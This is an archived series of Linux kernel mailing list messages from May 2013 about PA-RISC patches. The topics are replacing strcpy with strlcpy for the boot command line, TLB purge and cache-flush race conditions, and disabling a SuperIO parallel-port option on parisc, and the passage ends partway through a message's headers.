References: <51A6A8F3.2030200@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369926421 23251 80.91.229.3 (30 May 2013 15:07:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 15:07:01 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 17:07:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui4RP-0000kR-Rz
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 17:07:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757686Ab3E3PG7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 11:06:59 -0400
Original-Received: from mail-pb0-f44.google.com ([209.85.160.44]:40625 "EHLO
	mail-pb0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757594Ab3E3PG6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 11:06:58 -0400
Original-Received: by mail-pb0-f44.google.com with SMTP id wz12so520389pbc.3
        for <multiple recipients>; Thu, 30 May 2013 08:06:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=FVIKzmavo1c0JZF/pv+mlKnNjTTg4NXEVuzMuUiR3hk=;
        b=M9vpo2gBI4VGSECzO8Rl+c2z3gOc0YYAQ5aWLiAa2B2V46fDGOaVYML6Gr+rhIr8M/
         i8t022fJMzexiT1HVGcVhfHJjaoJc+00LrLAjVxJzkZVX+Bo56ewt2wtHSVfsSU9XS9l
         XbivuoZHPVLxbnJV4KU6nkdYkTapQXQ5FZiIu/XWTpzGhBBYc/MIafYNCG2N36e9qzKM
         5vADKT5hNszmmPVL/mn3cckfJkVQdlSCzI6DO72vULa2pZLimUerb21CvnGQ66JPrAS9
         AJZYetZ1E6rt6vdm4blzRIv+NjD41mBjxVX6TzBoPA7l2nAWq8j7NVlaYC0D9kn/O9DW
         N5Zg==
X-Received: by 10.66.88.105 with SMTP id bf9mr8862983pab.175.1369926417577;
        Thu, 30 May 2013 08:06:57 -0700 (PDT)
Original-Received: from udknight.localhost ([27.159.63.147])
        by mx.google.com with ESMTPSA id q8sm36458530pan.12.2013.05.30.08.06.50
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 30 May 2013 08:06:55 -0700 (PDT)
Original-Received: from udknight.localhost (udknight.localhost [127.0.0.1])
	by udknight.localhost (8.14.4/8.14.4) with ESMTP id r4UF6dUx002346;
	Thu, 30 May 2013 23:06:39 +0800
Original-Received: (from root@localhost)
	by udknight.localhost (8.14.4/8.14.4/Submit) id r4UF6aRj002340;
	Thu, 30 May 2013 23:06:36 +0800
Mail-Followup-To: Wang YanQing <udknight@gmail.com>,
	Chen Gang <gang.chen@asianux.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <51A6A8F3.2030200@asianux.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5103 gmane.linux.kernel:1499263 gmane.linux.kernel.cross-arch:18288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5103>

On Thu, May 30, 2013 at 09:18:43AM +0800, Chen Gang wrote:
> 
> 'boot_args' is an input args, and 'boot_command_line' has a fix length.
> 
> So need use strlcpy() instead of strcpy() to avoid memory overflow.
> 
> 
> Signed-off-by: Chen Gang <gang.chen@asianux.com>
> ---
>  arch/parisc/kernel/setup.c |    3 ++-
>  1 files changed, 2 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index 60c1ae6..7349a3f 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -69,7 +69,8 @@ void __init setup_cmdline(char **cmdline_p)
>  		/* called from hpux boot loader */
>  		boot_command_line[0] = '\0';
>  	} else {
> -		strcpy(boot_command_line, (char *)__va(boot_args[1]));
> +		strlcpy(boot_command_line, (char *)__va(boot_args[1]),
> +			COMMAND_LINE_SIZE);

What about add 
boot_command_line[COMMAND_LINE_SIZE - 1] = '\0';
to protect the following another strcpy?

"
strcpy(command_line, boot_command_line);
"
>  
>  #ifdef CONFIG_BLK_DEV_INITRD
>  		if (boot_args[2] != 0) /* did palo pass us a ramdisk? */
> -- 
> 1.7.7.6
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Thu, 30 May 2013 08:11:30 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <1369926690.1972.18.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl>
	 <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com>
	 <51A769B6.50801@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369926695 26910 80.91.229.3 (30 May 2013 15:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 15:11:35 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 17:11:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui4Vp-0005EO-QF
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 17:11:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933533Ab3E3PLd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 11:11:33 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57966 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933469Ab3E3PLc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 11:11:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 177248EE0F8;
	Thu, 30 May 2013 08:11:32 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yLlWCRZFhlar; Thu, 30 May 2013 08:11:32 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9D3888EE0AB;
	Thu, 30 May 2013 08:11:31 -0700 (PDT)
In-Reply-To: <51A769B6.50801@gmx.de>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5104>

On Thu, 2013-05-30 at 17:01 +0200, Helge Deller wrote:
> On 05/30/2013 04:55 PM, James Bottomley wrote:
> > On Tue, 2013-05-28 at 08:09 -0400, John David Anglin wrote:
> >> There are two issues addressed by this patch:
> >>
> >> 1) When we flush user instruction and data pages using the kernel  
> >> tmpalias region, we need to
> >> ensure that the local TLB entry for the tmpalias page is never  
> >> replaced with a different mapping.
> >> Previously, we purged the entry before and after the cache flush  
> >> loop.  Although preemption was
> >> disabled, it seemed possible that the value might change during  
> >> interrupt processing.  The patch
> >> removes the purge and disables interrupts during the initial TLB entry  
> >> purge and cache flush.
> >>
> >> 2) In a number of places, we flush the TLB for the page and then flush  
> >> the page.  We disabled
> >> preemption around the flush.  This change disables preemption around  
> >> both the TLB and cache
> >> flushes as it seemed the effect of the purge might be lost.
> >>
> >> Without this change, I saw four random segmentation faults in about  
> >> 1.5 days of intensive package
> >> building last weekend.  With the change, I haven't seen a single  
> >> random segmentation fault in about
> >> one week of building Debian packages on 4-way rp3440.  So, there is a  
> >> significant improvement
> >> in system stability.
> > 
> > an rp3440 is PA2.0, so you weren't really testing any of the tlb purge
> > locking changes.
> 
> Which kind of system do we need to test those "tlb purge locking changes" (PAx.y)?

the #ifdef is CONFIG_PA20, so any 1.x system should work.  The actual
locks are only needed for the Merced systems, which are N class because
they have an architectural bug where there can only be one purge active
on the CPU bus at any one time.

> At least I can confirm, that Dave's patches have made all my systems 
> absolutely stable.

Can we try the proper fix before things like disabling interrupts.
copy_page_asm and clear_page_asm don't have the necessary purges at the
end.  I don't think this ever mattered for clear_page_asm since it's
only used in the memory backend for pages going to userspace (so not at
interrupt), but for some reason we've suddenly started using
copy_page_asm, which could be used at interrupt.

I honestly don't think we should be using copy_page_asm at all.  The
speed up we get from it isn't realised because we have to flush the
cache after we've finished to try and make I/D coherence.  This makes
the call the same cost as the kmapped memcpy but requires twice the
tmpalias space to be allocated because of the from and to mappings.

James

> > Also, I don't know what happened, but the actual tmpalias theory
> > requires a TLB purge before and after and I though we used to have them.
> > The reason is twofold:
> > 
> >      1. You don't want the caches to speculate in the tmpalias region
> >      2. A flush after makes the routines interrupt safe (because you can
> >         interrupt in a tmpalias operation, do another tmpalias
> >         operation, purge the cache and restart within the non interrupt
> >         tmpalias and expect everything to work).
> > 
> > Trying to disable interrupts sounds like problem 2.  Can we return to
> > the proper tmpalias operations rather than trying to hack around them?
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kmcmarti@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: parisc: kernel: using strlcpy() instead of strcpy()
Date: Thu, 30 May 2013 11:35:51 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20130530153551.GN19205@redacted.bos.redhat.com>
References: <51A6A8F3.2030200@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369928168 11999 80.91.229.3 (30 May 2013 15:36:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 15:36:08 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, udknight@gmail.com,
	Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu May 30 17:36:09 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Ui4tc-0006nb-Nz
	for glka-linux-arch@plane.gmane.org; Thu, 30 May 2013 17:36:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933445Ab3E3PgH (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 30 May 2013 11:36:07 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:16689 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933196Ab3E3PgG (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 30 May 2013 11:36:06 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r4UFZsi9015135
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 30 May 2013 11:35:54 -0400
Original-Received: from redacted.bos.redhat.com (redacted.bos.redhat.com [10.16.184.60])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r4UFZp1D011739
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
	Thu, 30 May 2013 11:35:53 -0400
Content-Disposition: inline
In-Reply-To: <51A6A8F3.2030200@asianux.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:18289 gmane.linux.ports.parisc:5105 gmane.linux.kernel:1499277
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/18289>

On Thu, May 30, 2013 at 09:18:43AM +0800, Chen Gang wrote:
> 
> 'boot_args' is an input args, and 'boot_command_line' has a fix length.
> 
> So need use strlcpy() instead of strcpy() to avoid memory overflow.
> 

This is basically impossible, since boot_args is fixed in size by palo,
initialized to zero, and length checked in the bootloader. It's also
only 256+4 bytes compared to the 1024 bytes set aside for
boot_command_line.

That said, it's harmless to use strlcpy here, and obviously (more)
correct. Thanks!

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parport_pc: disable PARPORT_PC_SUPERIO on parisc architecture
Date: Thu, 30 May 2013 18:24:46 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20130530162446.GA5750@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1369931099 16145 80.91.229.3 (30 May 2013 16:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 16:24:59 +0000 (UTC)
To: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 18:24:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui5er-0003IR-72
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 18:24:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935536Ab3E3QYy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 12:24:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:50235 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935503Ab3E3QYu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 12:24:50 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MRQfu-1UsygD1FXs-00Sd9v for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 18:24:49 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 16:24:49 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO ls3530.box) [84.173.12.63]
  by mail.gmx.net (mp017) with SMTP; 30 May 2013 18:24:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18Ez1giJD4EE97hv8evOQQ1omX+MIeR371FuhkCHt
	kt1flKtGqU7ErO
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5106 gmane.linux.kernel:1499373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5106>

If enabled, CONFIG_PARPORT_PC_SUPERIO scans on PC-like hardware for
various super-io chips by accessing i/o ports in a range which will
crash any parisc hardware at once.

In addition, parisc has it's own incompatible superio chip
(CONFIG_SUPERIO), so if we disable PARPORT_PC_SUPERIO completely for
parisc we can avoid that people by accident enable the parport_pc
superio option too.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parport/Kconfig b/drivers/parport/Kconfig
index 24e12d4..a505760 100644
--- a/drivers/parport/Kconfig
+++ b/drivers/parport/Kconfig
@@ -71,7 +71,7 @@ config PARPORT_PC_FIFO
 
 config PARPORT_PC_SUPERIO
 	bool "SuperIO chipset support"
-	depends on PARPORT_PC
+	depends on PARPORT_PC && !PARISC
 	help
 	  Saying Y here enables some probes for Super-IO chipsets in order to
 	  find out things like base addresses, IRQ lines and DMA channels.  It
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Thu, 30 May 2013 13:23:43 -0400
Lines: 101
Approved: news@gmane.org
Message-ID: <51A78B1F.4090309@bell.net>
References: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl>  <1369925711.1972.11.camel@dabdike.int.hansenpartnership.com>  <51A769B6.50801@gmx.de> <1369926690.1972.18.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369934624 24865 80.91.229.3 (30 May 2013 17:23:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 17:23:44 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 19:23:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui6Zj-0001Nv-02
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 19:23:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965165Ab3E3RXm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 13:23:42 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:38946 "EHLO
	mail-05.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S965043Ab3E3RXm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 13:23:42 -0400
Original-Received: from 209-197-143-12.cpe.distributel.net ([209.197.143.12] helo=[192.168.0.181])
	by mail-05.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ui6Zg-0004EK-0m; Thu, 30 May 2013 13:23:40 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130509 Thunderbird/17.0.6
In-Reply-To: <1369926690.1972.18.camel@dabdike.int.hansenpartnership.com>
X-Authenticated: danglin-lux@magma.ca - 209-197-143-12.cpe.distributel.net ([192.168.0.181]) [209.197.143.12]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5107
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5107>

On 5/30/2013 11:11 AM, James Bottomley wrote:
> On Thu, 2013-05-30 at 17:01 +0200, Helge Deller wrote:
>> On 05/30/2013 04:55 PM, James Bottomley wrote:
>>> On Tue, 2013-05-28 at 08:09 -0400, John David Anglin wrote:
>>>> There are two issues addressed by this patch:
>>>>
>>>> 1) When we flush user instruction and data pages using the kernel
>>>> tmpalias region, we need to
>>>> ensure that the local TLB entry for the tmpalias page is never
>>>> replaced with a different mapping.
>>>> Previously, we purged the entry before and after the cache flush
>>>> loop.  Although preemption was
>>>> disabled, it seemed possible that the value might change during
>>>> interrupt processing.  The patch
>>>> removes the purge and disables interrupts during the initial TLB entry
>>>> purge and cache flush.
>>>>
>>>> 2) In a number of places, we flush the TLB for the page and then flush
>>>> the page.  We disabled
>>>> preemption around the flush.  This change disables preemption around
>>>> both the TLB and cache
>>>> flushes as it seemed the effect of the purge might be lost.
>>>>
>>>> Without this change, I saw four random segmentation faults in about
>>>> 1.5 days of intensive package
>>>> building last weekend.  With the change, I haven't seen a single
>>>> random segmentation fault in about
>>>> one week of building Debian packages on 4-way rp3440.  So, there is a
>>>> significant improvement
>>>> in system stability.
>>> an rp3440 is PA2.0, so you weren't really testing any of the tlb purge
>>> locking changes.
>> Which kind of system do we need to test those "tlb purge locking changes" (PAx.y)?
> the #ifdef is CONFIG_PA20, so any 1.x system should work.  The actual
> locks are only needed for the Merced systems, which are N class because
> they have an architectural bug where there can only be one purge active
> on the CPU bus at any one time.
With respect to the functions doing copies and flushes via the tmpalias 
region, it's my
theory that the locks aren't needed for local purges on PA 2.0. This was 
implemented
previously and isn't relevant to current change.

For global TLB purges, I think the problem is also present on rp3440 
(i.e., disabling
the locks causes problems).  I'm fairly sure that I tried this.
>
>> At least I can confirm, that Dave's patches have made all my systems
>> absolutely stable.
> Can we try the proper fix before things like disabling interrupts.
> copy_page_asm and clear_page_asm don't have the necessary purges at the
> end.  I don't think this ever mattered for clear_page_asm since it's
> only used in the memory backend for pages going to userspace (so not at
> interrupt), but for some reason we've suddenly started using
> copy_page_asm, which could be used at interrupt.
>
> I honestly don't think we should be using copy_page_asm at all.  The
> speed up we get from it isn't realised because we have to flush the
> cache after we've finished to try and make I/D coherence.  This makes
> the call the same cost as the kmapped memcpy but requires twice the
> tmpalias space to be allocated because of the from and to mappings.
>
> James
>
>>> Also, I don't know what happened, but the actual tmpalias theory
>>> requires a TLB purge before and after and I though we used to have them.
>>> The reason is twofold:
>>>
>>>       1. You don't want the caches to speculate in the tmpalias region
>>>       2. A flush after makes the routines interrupt safe (because you can
>>>          interrupt in a tmpalias operation, do another tmpalias
>>>          operation, purge the cache and restart within the non interrupt
>>>          tmpalias and expect everything to work).
I had questioned whether this is true.  In any case, if an interrupt 
occurs, the TLB entry needs
a reload.  So, if latency isn't an issue, it's likely better to disable 
interrupts.  One also doesn't
need after TLB purge.

The copy and clear routines never had TLB purges after the loops. That 
needs fixing
if we follow your suggestion.  At the moment, these routines are unused.

>>>
>>> Trying to disable interrupts sounds like problem 2.  Can we return to
>>> the proper tmpalias operations rather than trying to hack around them?
I'm willing to test to see if adding the purges to clear_user_page and 
copy_user_page helps.
They just need to call flush_kernel_dcache_page_addr instead of 
flush_kernel_dcache_page_asm.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Thu, 30 May 2013 12:04:54 -0600
Lines: 93
Approved: news@gmane.org
Message-ID: <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com>
References: <20130530141033.GA3665@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=089e0118289e1e93a904ddf357d5
X-Trace: ger.gmane.org 1369937293 21982 80.91.229.3 (30 May 2013 18:08:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 18:08:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 20:08:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ui7Gl-0005Yq-N6
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 20:08:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756982Ab3E3SH1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 14:07:27 -0400
Original-Received: from mail-oa0-f42.google.com ([209.85.219.42]:40619 "EHLO
	mail-oa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756655Ab3E3SFR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 14:05:17 -0400
Original-Received: by mail-oa0-f42.google.com with SMTP id i10so47372oag.15
        for <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 11:05:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=4JW1ZWZ7GzJZ1uEE1KZqBrTpO/CXkq85AbX4WIvZWUg=;
        b=GaZZXwkEH1ddHrr1He7oiddAyHiNvlPn2NWKIFOT0dYm61vurNN8okIECHdewu2Ya/
         OlBLhoZzPJMT0u4j3BscXnyR4iJ/aLVYTA6cYYaTXpzYSfxdKSsPlPmX+tlp5i1AeYFj
         DJyMrZdksGBRfWuJvplDPnfVyW86ed3loDYVbcB7L1Z3MW4/KdVKZnL91q406miR5xgD
         jBCBDrMbzhPItxHfMfONfwS6T2KhXPe4zOtjYKRUOO4FVAy9aPIaKFOjXDIOroeXTd6/
